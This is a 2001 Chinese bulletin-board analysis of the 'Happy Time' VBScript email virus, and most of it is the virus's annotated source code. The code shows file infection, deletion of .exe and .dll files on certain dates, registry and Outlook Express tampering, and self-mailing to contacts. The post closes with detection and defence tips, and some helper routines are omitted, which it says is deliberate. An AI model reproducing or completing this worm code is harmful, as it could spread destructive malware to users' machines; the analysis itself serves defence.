computer 版 (精华区)

发信人: neverbw (浪子~期待黑色七月), 信区: network
标  题: “欢乐时光”病毒源码剖析
发信站: 听涛站 (2001年10月03日15:31:46 星期三), 站内信件

5月8日—国庆长假后的第一天，一个全新的病毒“欢乐时光”使不少国内的电脑纷纷“
中招”；此后，又于6月7日再次爆发。各大媒体大肆渲染，推波助澜，许多人不敢收信
甚至不敢上网,一时间，搞得国内人心惶惶。
　　“欢乐时光”其实是一种邮件病毒，但它不同于前段时间大行其道的“美丽莎”和
“爱虫”，此病毒并不至身于附件，而是藏身与邮件体之中。一旦用户将鼠标移至带有
“快乐时光”病毒体的此种邮件上，未等看到邮件就已中招，许多人未曾料到，因此“
欢乐时光”得以以此种迅捷的方式泛滥成灾。
　　“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的
。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不
用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光
”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络
编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了
类型库（Type Library）成功地避开了安全审核的手段更是令人叹为观止。
　　下面让我们来看看它藏在快乐的外衣下的是什么吧！
'*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
'以上为病毒入口，并加上I am sorry! happy time的注释，以表明此文件已被感染过。

Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
'建立枚举对象，避开了安全审核
If IsHTML Then
'调用IsHtml函数，如果是Html，就小写……
  mURL = LCase(document.Location)
  If mPath = "" Then
    Os.Reset
    Os.Path = "C:\Help.htm"
    Os.Doc = Lhtml()
Os.Write()
'如果mPath为空，就在C盘下生成Help.htm
Ihtml = ""
'超文本的内容，并指向C:\Help.Htm
    Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
  Else
    If Iv(mPath, "Help.vbs") Then
       setInterval "Rt()", 10000
    Else
       m = "hta"
       If LCase(m) = Right(mURL, Len(m)) Then
         id = setTimeout("mclose()", 1)
'设置超时条件
         main
       Else
         Os.Reset()
         Os.Path = mPath & "\" & "Help.hta"
         Os.Doc = Lhtml()
         Os.write()
         Iv mPath, "Help.hta"
'生成Help.hta
       End If
    End If
  End If
Else
  Main
'都不是，就执行main函数
End If
End Sub
'******************************************************************
'以下为主函数，太长了！
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
'不用说，创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
'创建Dictionary对象, 用来保存数据键和项目对，它实际上是一个比较开放的数组
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
'向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\"
'使用变量以减少代码长度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
'如果是VBS
  If Of.FileExists("C:\help.htm") Then
     Of.DeleteFile ("C:\help.htm")
'如果c:\help.htm存在，就删掉，消灭遗留的痕迹
  End If
  Key = CInt(Month(Date) + Day(Date))
  If Key = 13 Then
'如果月与日之和为13（这也是它变种多的原因——将13改为其他数字即可）
    Od.RemoveAll
    Od.Add "exe", "0001"
    Od.Add "dll", "0001"
'就清空Dictionary数组，并将exe、dll加入Dictionary 对象，以备删除之用
  End If
  Cn = Rg(Ks & "Help\Count")
'读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
  If Cn = "" Then
Cn = 1
'如果Count为0，就设为1
  End If
  Rw Ks & "Help\Count", Cn + 1
'添加HKEY_CURRENT_USER\Software\Help\Count键值，值为2
  f1 = Rg(Ks & "Help\FileName")
'再读HKEY_CURRENT_USER\Software\Help\FileName键值
  f2 = FNext(Of, Od, f1)
'得到该文件的文件名
  fext = GetExt(Of, Od, f2)
'得到该文件扩展名的代号
  Rw Ks & "Help\FileName", f2
'添加键值
  If IsDel(fext) Then
'如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
'储存文件名
f2 = FNext(Of, Od, f2)
'得到文件的文件名？
Rw Ks & "Help\FileName", f2
'写注册表
Of.DeleteFile f3
'删除文件
  Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
'如果不是集合中的文件
    Fw Of, f2, fext
    End If
  End If
  If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
'使用 Cint函数强制执行转换，并发邮件
      Tsend
    Else
      adds = Og
      Msend (adds)
    End If
  End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
  If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
  '比较桌面墙纸是否已改变
  If wp = "" Then
      n1 = ""
      n3 = Cs & "\Help.htm"
    Else
      mP = Of.GetFile(wp).ParentFolder
      n1 = Of.GetFileName(wp)
      n2 = Of.GetBaseName(wp)
      n3 = Cs & "\" & n2 & ".htm"
    End If
    Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
'创建超文本
    pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & 
"'><
" & "/Body><" & "/HTML>" & mt
'超文本的内容
    pfc.Close
    Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
'将带毒的超文本设置成活动桌面
  End If
Else
  Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
  fc.Write Sa("0100")
'创建vbs文件
  fc.Close
  bf = Cs & "\Untitled.htm"
  Set fc2 = Of.CreateTextFile(bf, True)
  fc2.Write Lhtml
  fc2.Close
'创建windows下的untitled.htm
  oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
  oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook
 E
  xpress\5.0\Mail"
  MSH = oe & "\Message Send HTML"
  CUS = oe & "\Compose Use Stationery"
  SN = oe & "\Stationery Name"
  Rw MSH, 1
  Rw CUS, 1
  Rw SN, bf
'在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼So
ftware＼Microsoft＼Outlook Express＼5.0＼Mail下添加三个键值Message Send HTML
 、Compose Use Stationery 和Stationery Name，前两个的值为1，后一个指向window
s\untitled.htm
  Web = Cs & "\WEB"
  Set gf = Of.GetFolder(Web).Files
'得到windows\web文件夹里的文件
  Od.Add "htt", "1100"
'向Dictionary里添加htt项目对
  For Each m In gf
'遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m)
'得到每个文件的扩展名
If fext <> "" Then
'如果扩展名不为空，则
      Fw Of, m, fext
    End If
  Next
End If
End Sub
'******************************************************************
Sub mclose()
document.Write "<" & "title>I am sorry!'写入I am sorry,并关闭。以此作为感染与
否的标记
window.Close
End Sub
'******************************************************************
Sub Fw(Of, S, n)
'此时S为文件名，n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
'只读模式打开该文件
mt = fc.ReadAll
'读入全部文件流
fc.Close
'关闭文件
If Not Sc(mt) Then
'如果未感染过
  mmail = Ml(mt)
  mt = Sa(n)
  Set fc2 = Of.OpenTextFile(S, 8)
'打开文件并在文件末尾进行写操作
  fc2.Write mt
  fc2.Close
  Msend (mmail)
'发带毒邮件
End If
End Sub
'******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
'如果读入的文件流中有Rem I am sorry! happy time
  Sc = True
Else
  Sc = False
'表示已感染过，返回True,否则为False
End If
End Function
'******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
'初始化变量
If Of.FileExists(S) Then
'如果S存在于当前文件夹中
  fpath = Of.GetFile(S).ParentFolder
'得到文件的父目录名
  fname = S
'得到文件名
ElseIf Of.FolderExists(S) Then
'不存在于当前文件夹中，则得到目录名
  fpath = S
  T = True
Else
  fpath = Dnext(Of, "")
'得到当前盘符——即根目录
End If
Do While True
  Set gf = Of.GetFolder(fpath).Files
'得到当前目录下的所有文件对象
  For Each m In gf
'遍历每个文件
    If T Then
      If GetExt(Of, Od, m) <> "" Then
'如果该文件是文件集合中的一员
        FNext = m
'则返回该文件名，供调用的函数或过程使用——感染或删除之
      Exit Function
      End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
'如果没文件
      T = True
    End If
  Next
  fpath = Pnext(Of, fpath) '
Loop
End Function
'******************************************************************
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
'如果如果指定的文件夹存在
  Set gp = Of.GetFolder(S).SubFolders
'就得到子目录数
  pn = gp.Count
  If pn = 0 Then
'如果没子目录
    Ppath = LCase(S)   '
Npath = LCase(Of.GetParentFolderName(S))
'得到父目录的小写形式
    T = True
  Else
Npath = LCase(S)
'有子目录，得到其小写形式的集合
  End If
  Do While Not Er   '
For Each pn In Of.GetFolder(Npath).SubFolders
'得到子目录下的子目录
      If T Then
        If Ppath = LCase(pn) Then
          T = False
        End If
      Else
        Pnext = LCase(pn)
        Exit Function
      End If
    Next
    T = True
Ppath = LCase(Npath)
'将字符串转化成小写
    Npath = Of.GetParentFolderName(Npath) '
If Of.GetFolder(Ppath).IsRootFolder Then
'如果是根目录
      m = Of.GetDriveName(Ppath)
'就得到分区符
      Pnext = Dnext(Of, m)
      Exit Function
    End If
  Loop
End If
End Function
'******************************************************************
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
'得到所有的驱动器盘符
For Each d In dc
'遍历每个驱动器
  If d.DriveType = 2 Or d.DriveType = 3 Then
'如果是网络盘或本地盘
    If T Then
      Dnext = d
      Exit Function
'如果是False，就返回当前盘，并退出本函数
    Else
      If LCase(S) = LCase(d) Then
'如果是True且盘符相同，就令T为True
        T = True
      End If
      If m = "" Then
'如果m为空，就将盘符付给m
        m = d
      End If
    End If
  End If
Next
Dnext = m
'返回盘符
End Function
'******************************************************************
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
'返回该文件扩展名的小写
GetExt = Od.Item(fext)
'返回Dictionary对象中指定的key对应的item——即0001(exe)等
End Function
'******************************************************************
Sub Rw(k, v)
'写注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
'创建对象
R.RegWrite k, v
End Sub
'******************************************************************
Function Rg(v)
'读注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
'创建对象
Rg = R.RegRead(v)
End Function
'******************************************************************
Function IsVbs()
'此函数判断是不是VBS文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
'如果出错，则不是VBS
  IsVbs = False
Else
  IsVbs = True
End If
End Function
'******************************************************************
Function IsHTML()
'此函数判断是不是Html文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
  IsHTML = False
'如果出错，则不是超文本
Else
  IsHTML = True
End If
End Function
'******************************************************************
Function IsMail(S)
'此函数判断是不是邮件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
'返回vbCrLf在S中第一次出现的位置, vbCrLf是换行符
  m1 = InStr(S, "@")
  m2 = InStr(S, ".")
  If m1 <> 0 And m1 < m2 Then
'如果有“@”符号且“@”在“."之前，则是邮件地址
    IsMail = True
  End If
End If
End Function
'******************************************************************
Function Gsf()
'得到windows目录
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
'创建FileSystemObject对象
m = Of.GetSpecialFolder(0)
'得到特殊目录——Windows、System和Temp目录
If Er Then
'如果失败，返回C:\
  Gsf = "C:\"
Else
'若正常，则返回%Windows%
  Gsf = m
End If
End Function
'******************************************************************
Function Lhtml()
'写入超文本的内容，其中vbCrLf是换行符
Lhtml = "<" & "HTML" & ">"<" & "Title> Help "<" & "Body> " & Lscript(Lvbs())
 & vbCrLf & _
"<" & "/Body>End Function
'******************************************************************
Function Lscript(S)
'写入vbscript的声明
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
'******************************************************************
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
'得到文件流的长度
l2 = Len(S2)
'得到mailto:的长度
i = InStr(S1, S2)
'在文件流中查找mailto:第一次出现的位置——值为一个数
If i > 0 Then
'找到则进行字符串操作
  l3 = i + l2 - 1
  If n = 0 Then
    Sl = Left(S1, i - 1)
  ElseIf n = 1 Then
    Sl = Right(S1, l1 - l3)
  End If
Else
 Sl = ""
End If
End Function
'******************************************************************
Function Og()
'得到WAB（通讯簿）中的邮件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
'创建Outlook应用程序对象，Outlook和Outlook Express都跑不掉啦！
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
  m(i - 1) = Om.Item(i).Email1Address
得到每个WAB中的邮件地址
Next
Og = m
End Function
'******************************************************************
Sub Tsend()
'发带毒邮件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
  MM.MsgIndex = i
  a = MM.MsgOrigAddress
  If Od.Item(a) = "" Then
    Od.Item(a) = MM.MsgSubject
  End If
Next
For Each m In Od.Keys
  MM.Compose
  MM.MsgSubject = "Fw: " & Od.Item(m)
'设置邮件标题
  MM.RecipAddress = m
'此邮件的当前的目标邮件地址
  MM.AttachmentPathName = Gsf & "\Untitled.htm"
'添加附件Windows\Untitled.htm
  MM.Send
'发送！
Next
MS.SignOff
End Sub
'******************************************************************
Function Er()
'设置的错误陷阱，避免程序崩溃，严谨的风格值得学习
If Err.Number = 0 Then
  Er = False
Else
  Err.Clear
  Er = True
End If
End Function
'******************************************************************
Function IsDel(S)
'此函数查看当前文件是否是要删除的文件类型
If Mid(S, 4, 1) = 1 Then
'看S的第四个字符是否是1——即是0001(exe和dll)
 IsDel = True
'如是，返回True，以备删除
Else
 IsDel = False
'如不是，返回False
End If
End Function
'******************************************************************
　　 出于安全上的考虑，上面只登出了技术上比较新颖和重要的几个模块供大家研究和
学习之用。从代码中大家可以看到，“欢乐时光”也采用了“爱虫”的FileSystemObje
ct（文件系统对象）的技术，这也几乎是所有VBS邮件病毒必不可少的部分。因此如果杀
毒软件监视所有Html和Vbs中的FileSystemObject关键字，几乎可以查出所有和潜在的变
种（虽然可能会将某些良性的超文本和Vbs误报，但还是“宁可错杀一千，不可放过一毒
”。如果仅监视关键字，如“爱虫”的“I love you”，“欢乐时光”的“Happy Time
"，造毒者只要将其改掉即可，再将邮件标题、内容和源码中的变量名替换一下，具有“
智能查毒”的杀毒软件们也只有装聋作哑，望毒兴叹了。
　　如果您使用的是Foxmail 3.x，恭喜您啦！Foxmail 3.0以上的版本都严格地将文本
邮件和超文本邮件加以区分，默认超文本邮件需要点击右角上的小地球图标才可以看到
超文本，如果您怀疑某封信可能带毒，就可以从容删之，或导出成ASCII文件用记事本打
开研究研究。而老Foxmail和Outlook Express就没那么幸运，即一看到标题就已Bingo，
OE还会成为散毒源，寄发带毒邮件。因此首先，最好使用Foxmail 3.x，安全第一嘛！如
果不放心，干脆删掉WSH（Windows Scripting Host）吧！方法是找到"添加/删除程序"
->"Windows安装程序"--"附件" ，将"组件"中的"Windows Scripting Host"所占空间1.
1MB前面的勾去掉,然后选"确定"即可。如果你想研究其源码，用Foxmail导出为文本文件
即可，“知己知彼，百战不殆”嘛！


--
当爱情不再完美我宁愿选择无悔不管来生多么美丽我无法失去今生对你的记忆!

※ 来源:·听涛站 tingtao.dhs.org·[FROM: 匿名天使的家]